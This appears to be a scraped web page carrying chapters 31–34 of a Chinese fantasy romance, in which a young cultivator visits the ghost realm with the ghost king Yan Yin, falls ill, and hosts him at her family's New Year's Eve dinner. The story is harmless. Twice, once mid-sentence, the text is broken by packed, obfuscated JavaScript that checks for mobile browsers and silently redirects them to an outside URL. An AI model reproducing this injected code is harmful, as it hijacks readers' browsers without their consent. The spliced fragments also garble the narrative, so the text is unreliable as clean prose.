言隐沉默了一会儿,如实交代:“我在鬼界待得很无聊。” “对于你来说应该丘山更无聊才对。” “鬼界太大太空。”他嘀咕,“丘山还热闹一点,虽然也没人陪我玩儿。” 察觉到最后那句话里暗含了一点微妙的委屈,萧唤月绷着的脸色一松,心里那点儿气莫名就散了——他倒是会找理由。 按理说言隐再怎么样也轮不到她来可怜,但这种不经意间的示弱确实会让她心软。 “怎么会呢,你是鬼王,如果想找鬼陪你玩,谁敢不听你的?丘山的话,也有很多同门呀,跟他们切磋论武,不算是在玩儿么?” “缠着其他小鬼,让它们陪我?”言隐不屑,“那种掉价的事我可不会做。至于丘山那些人,我跟他们不熟。” 少爷对玩伴的要求还挺高。 萧唤月无奈:“如果你是想来找我玩的话,我得说,我是个很无聊的人,不会搞什么花活。” “我没让你搞花活,聊聊天也不行么。我之前在丘山的时候,你从来不主动找我。” “因为没什么事可麻烦你的......” “没有麻烦事就不来吗?”言隐板着脸,“那,现在我有事要麻烦你,你来不来。” “什么?” “陪我去鬼界逛逛。” “鬼界?”萧唤月有点怂。 一眼看穿她的心思,言隐立马为鬼界正名:“不吓人!再说了,有我陪着谁敢拿你怎么样。” 感觉言隐是在邀请她去自家做客,这体验感还挺新奇。萧唤月没急着拒绝,低头思索了一会儿。 确实不是什么过分的要求,只是逛逛而已的话,似乎可以接受? 况且她也有点好奇,鬼域长什么样。 “那就说定了。”言隐立马高兴起来,“我们什么时候出发?” “呃,现在?” “确定?你不用准备准备么。” 萧唤月虚心请教:“我不太了解这方面......去鬼界需要准备什么?” 言隐想了想,好像还真没有什么可准备的,又不是去郊游。 于是他当即拍板:“能马上出发,那最好不过了,我画阵带你进去,很快就能到。” 萧唤月把凳子挪到一边,在院子里给他留出一片空地。“在这里画吧。” 随即她蹲下看他画阵,脑袋随着他的动作转来转去:“去一趟得要多少时间呀?” “阴阳两界时间流速又没差,你想什么时候回来,这取决于你。”言隐语调轻快,“不过最好把时间控制在一天之内,你是活人,在鬼界待久了对你身体不好。” “哦。” 言隐一边画一边嘟囔:“我先说清楚啊,这不是为了获得你的好感,那件事我已经放弃了。” “好的。” “以后我做的所有事,都是发自本心,以纯粹......朋友的身份。” 32. 第 32 章 萧唤月好像有点明白,为什么很多鬼都面色惨白了——因为缺乏紫外线照射啊!如果不是因为那些奇形怪状的骷髅灯在空中飘来飘去充当光源,这座鬼城恐怕会漆黑一片吧。 略为谨慎地半躲在言隐身后,她观察着城内的环境。 据言隐所说这是鬼界最繁华的区域,相当于贸易中心了。 虽然鬼域里出现活人有点奇怪,但周围的小鬼们只是看了萧唤月两眼就匆匆移开视线。它们认得言隐,自然不会主动上前触霉头。 逛了一会儿,确实没察觉到什么危险,萧唤月行事便逐渐大胆起来,不再躲在言隐身后了,好奇地东张西望。 “待在这里居然会无聊吗。”她惊叹,“城建风格似乎跟阳间差别不大,但要有意思得多。” 往来居民都不是凡人,甚至没有实体。或美艳或丑陋的鬼魅,与萧唤月擦肩而过,双方都从彼此眼中看到了好奇。 言隐:“再有意思的地方,待久了也就那样。” 萧唤月:“也是。” 不过这次有萧唤月陪着,他没觉得无聊。就像通关已久的游戏,自己打着虽然没意思,但带上新手朋友一起玩儿,又有了另一番乐趣。 萧唤月的目光在哪里多停留一会儿,言隐就会自觉拉着她往那里走。 事实是她对什么都很感兴趣,行路方向左拐右拐,这瞅瞅那看看,半天没走出去二里路。 “言隐,那个罐罐在动。” “看到了。” “你知道里面是什么吗?” “虫子吧,反正不会是什么好东西。” “蟋蟀蛐蛐?” “......应该是蛊虫毒蛇之类的。” 萧唤月往后退了两步。 “那我们离远点,不要被缠上。” “好。” “言隐,那边有人......有鬼在打架。” “它们违反了不能聚众斗殴的规定,待会儿要下油锅了。” “下完油锅还能活着么?” “鬼的话,能。” “你有没有进过油锅?” “有。” “什么感觉。” “越炸越香。” “我不是指味道......” 有一搭没一搭地聊着天,忽然有种奇妙的感觉——丘山和鬼域的确是差别很大。 他们这么平淡地谈论着下油锅的细节,像在唠家常一样,以至于萧唤月差点就忘记那是实打实的酷刑。 以前在厨房被油点子溅到她都痛得一蹦三尺高,不敢想象被放在油锅里翻来覆去地煎炸会有多么痛苦,而且鬼界的油比起凡界肯定不一般,也许沸点更高什么的。简单的升温,极致的痛楚。 不知道为什么想到了油炸五花肉,但萧唤月现在不是很有胃口。 迎面飘来一团奇怪的黑影,萧唤月连忙侧身让行。 黑影的形状上宽下窄,似一张颇为畸形的人类脸庞,上面深深浅浅的地方分别对应眼鼻嘴的位置,应该就是它的五官。 这副五官肉眼可见地变得越发清晰,就像一个人被套在黑色塑料袋里正努力往外挣脱,五官凸显在那层“黑色塑料”上。 言隐:“它在跟你打招呼呢。” 萧唤月:“啊?” 不是很理解这些鬼魂打招呼的方式,但入乡随俗,萧唤月也朝它挥了挥手。 黑影慢慢飘走了。 萧唤月:“嘶,刚才它经过我身边的时候,气温都变低了,好冷。” 言隐:“它生前好像是冻死的。” 萧唤月:“难怪。” 不过话说回来,但凡是只鬼,身上都会有阴气。与冻死鬼相比,只是冷和更冷的区别罢了。 言隐身边也不算很暖和,尚且在能接受的范围之内。 更前面的地方,竖着许多长杆,杆上挂着白布,无风自动。 似乎有一道无形的分界线,把空间分隔开来。这边还称得上热闹,那边就要荒凉许多,没有鬼在那里摆摊卖东西,只有杆上的白布像活物般扭动着。 每一根长杆旁边,都有一个凸起的小土包。泥土的颜色介于黑与黄之间,湿漉漉的。 “那是居民住宅区。”言隐说。 “坟包啊?” “对。” 萧唤月不忍直视地移开目光:“......我死后要让别人给我烧个大房子,再烧个马车,还要两个纸扎的护卫。” “你考虑得挺周全。” “能享受就别吃苦,我不想住小土包。” “你都认识我了,死后我可以给你走后门啊。” “......谢谢你。” 突然感觉自己拥有了了不得的人脉呢。 萧唤月问言隐:“你平常住哪里呀,身为鬼王是不是有自己的宫殿?” “有是有,但我不住在那里,另建了一处小院。” “暴殄天物啊,放着宫殿不住。” “每任鬼王都住在那里,不知道是几手房了。”言隐很嫌弃。 萧唤月倒是不嫌弃,很想问问自己死了能不能住那里,反正空着也是空着。但转念一想她还没死就开始惦记人家财产,多少显得有点越界了,于是她又把话吞了回去。 言隐跟她说,要是在鬼城里看见什么喜欢的小玩意儿,可以直接拿走。 说这话时他双手叉腰,语气肯定,莫名有种“我地盘我做主”的嚣张感。 不过言隐的确是鬼界第一地头蛇,有嚣张的资格。 然而逛了一路,萧唤月依旧双手空空。她还是比较谨慎的,即便遇到感兴趣的东西也只是用眼睛看看,没有上手去摸。 万一沾染上什么诅咒可就不好了。 恐怖片早就告诉过她,奇怪的东西别往家里带。 本来还想去更远的地方看看,但走着走着萧唤月有点累了,行进速度变得缓慢。 言隐知道活人在鬼界不便久待,观察到萧唤月似乎状态不太好,立马就准备带她回去。 “这就走了?”萧唤月指着另一边,神色有点犹豫:“可是那里还没有去过......” 言隐严肃道:“不行,想去下次再来。” 来之前明明说过,想什么时候回去取决于她。 萧唤月心里默默吐槽着,没敢说出口。其实也知道言隐是为她好,但这种逛街逛一半被捞回去的感觉真不得劲。 鬼界的大好风光只能改日再来窥得全貌,两人回到了丘山。 萧唤月落地就打了个喷嚏,晃晃脑袋,有种头重脚轻的感觉。 她已经不是没有修为的凡人,些许阴气入体不会有什么大影响,但是在鬼界待了太长时间,难免会有点不良反应。 不过也就是着凉感冒那种程度,要不了多久便可自行痊愈。 言隐叮嘱她多休息,而后两人在院门口道了别。 萧唤月认为言隐接下来肯定还是要回鬼界的,不会在丘山久留。 然而言隐没有离开,他在周围游荡了一圈又回到院子里,像镇宅兽似的坐在檐顶,正对着萧唤月的房间门。 是他一时兴起带萧唤月去鬼界,连累她着了凉。因此他守在这里直到萧唤月痊愈,有什么问题? 被自己的逻辑说服,他在檐顶上坐了一天一夜。 但萧唤月始终没有从房间里走出来,他开始有些坐不住了。 不能是睡过去了吧?人类很脆弱,虽说是修士,但萧唤月现在还没有结丹,万一阴气入体诱发了什么其他症状,小病变大病...... 他越想越心惊,一瞬间什么男女大防都抛之脑后,直接穿墙进了她房间,一把掀开床帘。 萧唤月紧闭双眼,睫毛颤动,看起来正在熟睡当中。但她睡得并不安稳,呼吸时轻时重,一只苍白纤瘦的手无力地搭在床畔。 “萧唤月,萧唤月?” 听到言隐的呼唤,她没有醒来,只皱了皱眉,无意识地翻了个身,继续睡。 言隐蹲在床边观察了半晌,摸了摸脉搏,把她那只露在外面的手塞回被子里去。 人的确没有大碍,阴气已经散得差不多了。只是多日积累下来的小伤小病,借着身体虚弱的当口反扑回来,让她多遭了些罪。 “看来你平时修炼挺刻苦的?我都不知道。” “别吵......”萧唤月在睡梦中喃喃。 言隐一噎,没想到她睡着了还能听到周围的动静,而且听到了还不醒,看样子是要把以前缺的觉都补回来了。 手指点在萧唤月眉心,他渡给她一丝灵力,这能帮助她更快痊愈。 多了不敢给,怕有副作用,毕竟他是货真价实的鬼,阴气集合体,就算修得灵力也不会太纯粹。 言隐把桌边的小凳挪到床边,自己往凳子上一坐,守在萧唤月身边,方便随时查看她的状况。 睡梦中她的眉头皱得更紧了,似乎觉得冷,竟然轻微发起抖来,身子一直往床的更里侧蜷缩。 言隐想将手搭在她额头上试试温度,可当他真的伸手凑过去时,萧唤月颤抖得更加厉害。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14481558|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “好冷......”她喉间逸出低吟。 言隐一愣,看向自己的掌心。他可以控制阴气不外露,但鬼的身体总不会是暖和的。 靠近他,萧唤月会觉得冷。 他运转内力,一股热气充盈着四肢百骸,强行升温。不当人很多年,一时也拿捏不准最佳温度,他觉得差不多了,再次尝试触碰萧唤月。 没想到从一个极端走向了另一个极端,这回差点给人烫出个大泡。萧唤月惊醒过来,捂着略微红肿的额头嘶了一口气,抬起头。 她一脸懵:“言隐?” “是我。” “所以现在是什么情况......我记得你已经走了。”莫非她病得糊涂,记错了? “我......回来看看你。” 好吧,她没有病糊涂,言隐确实去而复返。 “刚才是什么东西,好烫。” 好像拿熨斗熨她了似的,现在额头上还有残留的灼痛感。 言隐把两只手把背后一藏:“......对不起。” 他飞快地解释了一番事情经过,萧唤月有些哭笑不得。 “我睡一会儿就好了,不用担心。”萧唤月反过来安慰他,“也不必自责,我生病了又不是你害的。” “早知道不带你去鬼城了。” “这几天没休息好,身子本来就不爽利,不是那个原因。” 但深入思考一下,这段时间没睡好也是拜言隐所赐。 “那你现在,好好休息。” 留下这句话,言隐离开了房间,没忘记替她关上门。 他如果继续待在萧唤月房里,好比在感冒的病人身边放置冷气机,对她的病情怕是有害无益。 有点郁闷,他忽然觉得这副身体比起凡胎□□,居然也会有较之不如的地方。 接下来该去哪里呢,萧唤月不需要他,他是不是回鬼界比较好? 一时失了主意,正在思考期间,熟悉的电子音再度响起。 【为什么不试试用积分兑换系统商城里的灵芝?食用即可获得更接近活人的体验感。】 言隐眼皮一跳:“你谁?” 【宿主,你应该记得我的声音。】 “......你不是跟我解绑了吗?玩诈尸啊。” 系统陷入沉默,当初它的确没有跟宿主说实话。 谎称下山就会解绑,积分清空什么的,那都只是留住言隐的话术手段。本意是希望他能再慎重考虑一下,结果还真的下山。 之后系统装死了一段时间。它没有告诉宿主,自己不仅可以看到萧唤月对他的好感值,同样也能看到他对萧唤月的。 言隐离开丘山的时候,对萧唤月的好感值分明已经达到六十九点,是个很高的数字了。 因此系统判断,他将来一定会再次回到丘山的。只是没想到这天来的这么快,才半个月就沉不住气。 系统向言隐解释了来龙去脉,他的重点却猝不及防跑偏,对于系统的欺骗行为不以为意,而是面露震惊之色:“你说我对她的好感值有六十九?” 系统:【千真万确。】 “......为什么?” 系统:【你应该比我清楚才对。】 言隐翻了个白眼,他清楚个鬼。 不过他也没真指望能从系统那里得到回答,毕竟从来就没对它抱过太大期望,有时候压根儿就是人工智障,不靠谱。 系统可以测算好感值,却分析不出好感值变化背后更深层次的原因。它无法理解,言隐对萧唤月的好感值为什么会增长得这么快。特别是在进入波玉潭后,猛涨了近二十点。 就因为萧唤月在幻境中与他并肩作战过,从秃鹫爪下保护过他? 什么秃鹫,屠夫,那都是假的,言隐怎么会不清楚。但萧唤月顶着攻击挤进秃鹫潮的时候,他心跳的确停跳了一瞬,慌张得想要把她推出去。 “吊桥效应吧,可能。”他又问系统,“萧唤月对我的好感度呢?多少了。” 系统:【检测到攻略对象现好感度数值:45】 “这么高?!”言隐愣住。 系统:【幻境里涨了很多。】 “......不早告诉我。” 系统:【你没问。】 忽然想起他那傻缺意识体,在巨木林雪雾中曾试图利用吊桥效应来提升萧唤月好感度,结果一个熊抱上去,萧唤月不为所动,好感值差点倒扣。 幻境里倒是误打误撞成功了,不知应不应该感谢秃鹫。 33. 第 33 章 半梦半醒间,房门再次被打开,萧唤月迷迷瞪瞪睁开眼,看见了一道修长挺立的身影。 那道身影来到她床前,半蹲下来。 这个高度,言隐一低头,就正好将脸颊贴在她手心:“还冷吗?” 她摇了摇头,不冷。 像捧着团棉花,又软又暖和。还想再捏一把的时候,言隐却抬起头来,不自在地移开目光,咳嗽了一声:“不冷就行。” 测温度干嘛用脸去试,手碰手不就行了?他在心里暗骂自己脑子短路。 转而用手碰了碰萧唤月的指尖,又碰了碰额头。温度似乎正常,她没有因他的靠近而瑟缩发抖。 三十积分花得还算值——灵芝他吃了,效果可以,口感不行,有点像没味儿的木头沫。 他转身往外走,萧唤月撑着身子坐起来:“言隐。” “怎么了?” “你又要到哪去。” 他还没回答,萧唤月已恹恹躺了下去,细声猜测道:“是回鬼城么?” “不是。” “刚才我就以为你走了,结果又看到你进房间,还以为在做梦。” “我刚才只是在院外边儿溜达。” “好吧,那你现在也是去溜达?” “我去给你倒杯水。” “......不用。” 没想到会是这个回答,萧唤月重新坐起来,盯着他:“我不渴,你过来。” 言隐哦了一声走过去。 “你什么时候回鬼城?” “干什么,赶我走啊。” “没有,我只是想知道确切时间。每次我以为你走了,你却没走。我以为你没走的时候,你倒走了。” “你说的第二种情况......什么时候发生过?”言隐疑惑,貌似他就走过一回吧? “就是从波玉潭出来那一次啊。” 萧唤月裹着被子,大半个头都被遮住,只露出一双看起来警惕性很强的眼睛。但其实她现在还有点迷糊,眼神看着机灵,那都是表象。 嘴里已经开始藏不住事:“在幻境里你玩得很开心,我以为你不走了......至少会再留一阵子。” 言隐挠了挠脑袋:“那次啊。” “嗯。” “我不想说话不算话。” “什么意思。” “都已经说过要走,怎么好再反悔。” “不想做的事,反悔也没关系。” “这样啊。”都不知道该回什么,他开始胡乱搭腔。 “不过你是想走的。” “......” “什么时候走?”话题又回到这里。 “你刚才不是说可以反悔么。” “啊。”萧唤月嘴里发出一个无意义的音节,似乎在表达疑惑。 “不想走。”言隐问,“可以反悔吗?收回那句我要回鬼界的话。” 这下是真清醒了,萧唤月闭眼又睁开,挪了挪位置,让床柱挡住她半张脸,也挡住言隐看过来的目光。 然后她设身处地思考了一下,觉得言隐是去是留,属实没必要问她。但他既然在征求她的意见,她也就很配合地回答:“当然可以了,选择权在你。” “好吧。”言隐露出如释重负的表情,很不客气地往凳子上一坐。“你都这么说了,那我就继续留在丘山当弟子。不过你以后要记得多与我走动,因为我没有别的朋友,你不来找我的话,我会很无聊。” 没有不答应的理由,萧唤月道:“有空的话,我会的。” “你一般什么时候有空。” “不修炼的时候。” “行。”他大手一挥,“你继续睡,我守着你。” 萧唤月躺下去,过了一会儿,被窝里传来她闷闷的声音:“睡不着了。” “睡不着,闭目养神也可以,反正你病还没好,不急着去干别的。” “哦。”她翻了个身,“什么时候再去鬼城?” “还想着这个呢。” “上次没逛完。” “鬼城很大,要逛完的话两次可不够。” “那多去几次。” “可以,在你身体状态好的时候去。” 轻描淡写地约定起了以后的事,看起来是要长期留在丘山的样子。萧唤月想问言隐是不是又重新拾起了那个任务,需要她努努力,试着爱上他么? 但此刻这么问好像有点破坏气氛,想了想干脆随他去了,无论是为了什么留下来,以后......随缘就好。 在这之后,两人关系拉近很多。萧唤月没忘了自己说过的话,有空的时候会去找言隐唠唠嗑,吃个饭什么的。 明面上,弟子未经批准不被允许下山,但言隐艺高人胆大,那道山门于他而言就是摆设,想进就进,想出就出。 萧唤月跟他厮混久了,难免意动,也起了别样的心思,坐在树梢上眺望山下风光,面带惆怅,她想起了十燕城的老家。很久没回去了,不知道老爹老娘过得怎么样。 虽说原则上弟子可以回俗家探望亲人,但并不是想回就回,得有紧急情况才可以。 尤其是像她这种刚入门不久的,起码得在山上待个四五年,稳了道心,才可能争取到下山的机会。 不是长老们有心要剥夺门人自由,而是新入宗的修士不可控性相对较高,搞不好放他们下山,直接就是撒手没——这种情况多发生于修仙世家的公子小姐,从小家规森严,被教导“坚守清静无欲无为”,下了山初入凡尘,被花花世界一迷眼,积压已久的叛逆之心直接来个触底反弹,那可就糟了。 萧唤月表示理解,但她坚信自己不会被凡世引诱,因为她就是从那里过来的,什么大风大浪没见过。 然而非修仙世家出身的弟子之所以也被限制下山自由,却另有一番道理。宗门不要求弟子与生身父母做关系切割,但必须适当放下一些执念。若始终贪恋母亲的怀抱,流连尘羁,那恐怕不会是修仙的好料子。 说到底,能走到这条道上的人,还是心性淡漠些的好。 去年除夕没回家,萧唤月只能通过书信祝父母新年快乐,顺带托仙鹤捎去了一些小礼物,护身符,辟邪玉之类的。 “今年除夕想回家吗。”言隐对萧唤月道,“如果你想回十燕城,我可以帮你通过门禁,不被别人发现。 “这......我考虑考虑。” 最终没忍住诱惑,萧唤月发誓,就这么一次。 两人约定好除夕下山,玩儿个三四天就回。 与此同时,年末的弟子选拔赛开始了。这回萧唤月不是考生,抱着看热闹的心态想去围观,结果考场人满为患她压根没挤进去。 这次还是采用一对一打擂台的形式,看来万春长老经过综合考量放弃了对镜妖的启用,选择了更为传统的考核方式。 擂台就设在重息峰顶的一片空地上,虽说是露天考场允许围观,但毕竟峰顶面积有限,怕影响到参赛弟子,因此控制了进场人数。 萧唤月没能看成热闹,只能蹲在场外嗑瓜子。 言隐跟她一道来的,被拦在场外满脸不爽,一副想要硬闯的模样。 萧唤月拽他的袖子:“你想干嘛,可别不老实。” 被戳破心思的言隐哼了一声,转了两圈又回到原处,把萧唤月拉起来:“别嗑瓜子了,上火。” “不会,没磕多少呢。” “给我也吃点。” 萧唤月递过去一把,言隐一言不发,接过就啃。瓜子皮一吐,飞镖似的钉在树上,足见力道刚猛。 “豌豆射手啊你。” “......我打虫子。” “下回送你个苍蝇拍。” “不用了。” “比瓜子皮好使。” 两人蹲在外头啃了半天瓜子,边吃边聊苍蝇拍,话题跑到了天南海北。 可惜萧唤月兜里那点瓜子很快就被掏空吃完,无事可做的言隐拍拍手站起来,又想起了自己本来的目的:“不是,你真不进去啊?” 萧唤月反问:“你真要闯进去啊?” “我像是那么冲动的人吗。” “像。” “......更迂回的方式不是没有。” “什么?” 言隐拉着她绕到树后,避开他人耳目,反手在她背上贴了个隐身符。 萧唤月当即明白了他的意思,思考之后,竟是觉得这个法子可以一试。 一拍即合,两人手拉手飞到半空,往赛场内去。 脚下的剑也被一同隐去,萧唤月的视角里,自己就像是踩在空气上。不过还能借旁边言隐的力,不至于太没安全感 她晃晃悠悠稳住身形:“挺刺激的。” 言隐:“这隐身符被我灌了法力,连玉胥宗那几个老头都看不出破绽,保准没人发现我们。视角怎么样?” “约等于演唱会最后一排,能看清一点,但不多。” “嘁,将就吧。” 在特殊观众席站定,两人观赏起下方赛况,时不时给出一两句评价。 比起去年,萧唤月觉得自己又进步许多,居然能看穿不少参赛者的纰漏。 那个粗眉毛短头发的,出招迅猛,看着攻势很足,却是不能准确控制力道的表现,再打下去就要力竭露馅,会输。 下一场,那长脸的瘦高个儿,剑招徒有其型,却没有倾灌内力,是轻飘飘的花架子,应该是基础功不过关的缘故,会输。 这两人确实都败了,如萧唤月料想的那样。 颇为自得地想,这是否可以证明她的水平已经在他们之上?一年的修炼没有白费嘛。 不过这两人只是开胃菜,萧唤月的重点关注对象还是在秦喜和邓相许身上。怎么说也是一起上过课的同门,她希望他们能顺利晋升。 好在比赛过程并不太惊险,姐弟俩复读了一年,实力有增无减,在擂台上表现出色,发挥稳定。最后纷纷锁定了胜利,成功拿到晋升名额。 萧唤月不意外,去年就该是这样了。 大赛过后没几天就是除夕。 秦喜和左良玉想找她聚一聚,无奈她已经有了安排,只得婉言拒绝。送了两副手写对联过去,萧唤月遗憾表示,自己欠下的饭节后再补上。 邓相许也特意上门拜访,告知了她自己通过选拔的事,顺便送了几句新年祝福。 经过之前的表白事件,两人关系一直有点尴尬,邓相许此举有意破冰,是想告诉她,感情的事强求不来,他已经放弃,但今后两人还是朋友,不必过于避嫌。 那当然是最好不过了,萧唤月同样回祝他新年快乐,别的再没有了。 此时她心里最挂念的还是偷溜下山那件事,比起言隐她要谨慎许多,出发前特意在房间里留了个等身人偶,相貌身形都与她一模一样,伪装出自己闭门修炼的假象。 本是个徒有其型的死物,但萧唤月在人偶上贴了共感符,方便她及时知晓这边的情况,也让伪装更加逼真,可以说是万无一失的准备了。 做完这些后她才和言隐一同下山去,多亏了言隐的隐身术,二人有惊无险地通过了门禁与结界。 久违地踏在了十燕城的土地上,这里还是那么热闹。贩夫走卒,裹着厚衣服揣手吆喝,一呼气就吐出一团白雾,将冬日冷意具象化了。 萧家大门紧闭,门环上生了粘腻的蛛网,不知有多久无人造访。 原先住在这里的人已经不在了。萧吟山写信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14539398|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告诉过萧唤月,他们一家都已经搬去穆心山脚下,远离闹市。 萧唤月翻进府内逛了一圈,树还是树,草还是草,但没了人气,稍显萧瑟。自己曾经的房间也被上了锁,里面所有东西都被老爹老娘打包带走,府上几乎什么都没剩下,成了空壳子。 莫名有种物是人非的悲凉感,萧唤月叹了口气。 言隐跟在她身后,好奇地张望:“好空旷,前厅里椅子都被搬走了。说起来这地段不是挺好么,你爹娘为什么搬家?” “穆心山那边有监天司坐镇,比较安全。” 监正曾经答应分派人手来保证萧家夫妇的安全,但总不可能护他们一辈子。 萧唤月也表示理解,毕竟监天司不是保镖公司,必然以司内要务为首,况且他们机构是出了名的“只管大事不管小事”,不会为了两个普通人耗费太多资源。 但萧唤月心里还没忘记东生的存在,此人立场成谜,无疑是个隐形炸弹般的存在。萧家夫妇至今没有遭受过袭击,不代表以后不会。 于是她干脆建议父母搬家,搬到穆心山脚下。那块地本来不允许普通人居住,但监正睁只眼闭只眼,默许了此事。 正好萧父年岁渐大,生意上的事可以慢慢交给手下的人去做,他负责视察管账,坐收金银,能省去许多精力。有监天司照拂,能在山下安然养老了。 “反正爹娘一直很相信我。”萧唤月抠着墙灰,眼神有些放空,“大概是今年年初的时候......我写信让他们搬家,他们就搬了,也没问原因。就是可惜了这间大宅子,他们舍不得卖,只好空置。” 言隐:“你也舍不得吧,不然干嘛特地回来逛一圈。” 萧唤月笑了:“你说得对。”空着就空着吧,将来她多多炼丹制器,除妖降魔,赚够了灵石换成银票,把爹娘的损失加倍补回来。 “你现在要去穆心山看他们吗?” “对的。” “那我就不跟着你去了,分头行动,我自己去城里玩儿一圈。” “好,两天之后回这儿集合?” “妥。” 拟定好了接下来的行动计划,言隐看着她:“那我走了?” “嗯。” 言隐依旧不走寻常路,坚称两点之间直线最短,决意要穿墙前行,直通闹市区,去吃那家他最喜欢的热汤面。 在萧唤月的视野里他身形消失,像烟雾一样融化在了空气里。知道他会隐身,萧唤月并没有对此感到惊讶。这样也好,免得他穿墙走出去吓到路人。 独自在庭院中徘徊了一会儿,萧唤月没来由地叫了一声:“言隐。” “在。” 她吓了一跳:“你还没走啊。” “......我正在走。” 言隐依旧保持着隐身状态,看起来萧唤月就像是在对着空气讲话。勉强根据声源方向锁定了他的位置,她朝那处看过去。 “你刚才叫我名字干嘛。”言隐开口。 “我也是忽然想到......” 停顿片刻的工夫,言隐耐不住性子,咬着话尾巴好奇追问:“想到什么?” “明晚就是除夕夜。” “那又怎么。” “要来我家吃饭吗。”平静地说完这句话后,萧唤月移开目光。 “啊?”言隐没想到会是这件事。他对春节没什么盼头,只知道这是个团聚的日子。在鬼界几百年,从没有吃年夜饭的习惯,仪式感为零。 仗着萧唤月看不见,言隐骤然贴近了她,手指托着下巴,俯身观察她的表情。是真心邀请他回家吃年夜饭么,他们之间是这么亲密的关系? 系统并没有播报好感值波动,他自行查询了一下,依然是四十五。 莫非这数字在萧唤月那里已经是一个比较高的程度了?还是说......她可怜他除夕夜孤苦伶仃,发了善心想让他体会一下家庭温暖? 不,他觉得自己一点都不孤苦伶仃,有的是法子找消遣。 久久没有等到回复,萧唤月有些尴尬地找补:“随口一问,不愿意的话算了。”料想鬼王对这寻常家宴也不会有兴趣,她真是多余问这一嘴。 “没说不愿意。”反应过来的时候这句话已经脱口而出,收回不能。 “那就是愿意?” “呃,是吧。”言隐心想,既然都答应下来,那就去一趟呗,很久没正经吃过年夜饭,久违地体验一下,不是坏事。 萧唤月贴心道:“不想去的话,不用勉强。” “哪里看出我有勉强。”言隐急道,“都说了我没有在讨好你......做什么都是出自本心,说愿意就是愿意!” 这话可没作假,虽然系统还绑定着,但他已经没有了非要完成任务不可的信念,纯拿它当好感检测机,数值什么的都随缘了。 “好吧,你别生气。” “没有生气。” “那......明晚见?” “不,我明早就来。” 萧唤月挠了挠脑袋:“也行,记得走正门。” “不可以穿墙吗?” “最好不要。” “好吧。” 想了想,没有什么要交代的了,萧唤月对着空气挥挥手:“明早见。” 离开萧府,她嫌御剑太高调,干脆租了匹马,往穆心山的方向赶。 绕开闹市走小道,一路上风景倒也清幽。此时心情格外松快,她哼起了小曲儿。 猝不及防旁边传来一句:“你家厨子手艺好吗?” 萧唤月握着缰绳的手一抖,嘴里哼着的小曲儿戛然而止。 “你怎么还在?” 言隐:“......我想了一下,还是今晚就去吧。” 34. 第 34 章 许久未见的女儿突然回家,萧吟山和云婉自是惊喜万分,忙让下人去市里多采买些好吃的东西,要给女儿打牙祭。 “其实不用再买肉了,这些应该够吃。”言隐从乾坤袋里拖出一头鹿,一头羊,一头野猪,鸡兔若干。 萧唤月看得瞠目结舌:“你乾坤袋里还真是大有乾坤啊!” 萧家夫妇比女儿还要震惊,小袋子里如何能装下这么多东西?必然是一项神通了。 “多谢小仙长......够吃,够吃了。”云婉擦了擦额头上不存在的汗水,向厨子打个眼色,让他快把这些东西拿去厨房准备。 这等口福可不是时时能有,高级野味可遇不可求啊!云婉心里盘算着,吃不完还能做成腊肉,让女儿走时带上一点。 “小仙长真是客气了。”萧吟山扶着胡须呵呵笑,拍了拍言隐的肩膀,“来就来,带什么礼物啊。” 嘴里虽叫着小仙长,却不自觉摆出了一点长辈谱。萧吟山用审视女婿的目光在言隐身上扫了一遍,嗯,一表非凡,风华正茂,小小年纪,礼数还算周到。 听说是跟女儿关系不错的同门,志同道合,这很好。做夫妻就是要相互扶持,如此才能走得长远。 萧吟山脸上的笑意越发真诚,他知道自己和云婉没有修仙的机会,一介凡人,寿数有限,至多几十年后,世上便再没有他们夫妇俩了。将来如果能有人陪伴女儿,那是再好不过。 完全不知道萧吟山心中的小九九,言隐正在看厨子拖死鹿,地上摩擦出一道血痕。 某种意义上,言隐已经脱离社会很久了,对于人情世故感到陌生。但他隐约觉得,空手上门不太好,显得他像是纯来蹭饭的。这些礼物,萧家人会喜欢么?他不知道。 反正他自己是挺喜欢的,鹿肉和野猪肉都很好吃。也多亏了他带来的这些野味,除夕夜饭桌上的菜色丰富不少。 杯中酒液晃荡,倒映出他微微酡红的脸。 灵芝的效用比他想象中还要强,以前他喝酒可从来不会脸红,酒精入体即分解,千杯不醉。当然现在也不会醉,脸颊攀上的那抹红不过是镜花水月般的存在,让他看起来更像个活生生的人,仅此而已。 萧唤月倒是喝得有点上头了,站起来碰了碰老爹老娘的杯子,嘴里吐出一咕噜的吉祥话,福寿双全快乐无边事事顺心永远不死......想到什么说什么,连珠炮似的。也不管通不通顺,舌头快要打结,平翘不分。 云婉和萧吟山乐得合不拢嘴,一边夸女儿长大了懂事了,一边没忘记让人去端醒酒汤来,把小姐手里的酒换成茶水。 言隐看看这个又看看那个,心情有点复杂,抬手给自己倒了杯酒。此刻他虽然坐在饭桌旁,但游离于他们之外,这家里只有他是客人,除了吃菜还能做什么呢。 嘴里的鹿肉都快嚼没味儿了,老实说,萧唤月这么懂事,显得他很不会做人。但他本来就不是人,所以没关系。 他比两个老人的年纪加起来还要大,难道要拿出小辈的姿态,说些好听的吉祥话么?想了半天,也只想出来一句福如东海寿比南山,这句太老土了,而且与萧唤月的祝福语有所重复,他不说。 没料到萧吟山居然主动碰了碰他的杯子,轻轻的。 “祝小仙长,前途无量。”萧吟山一饮而尽。 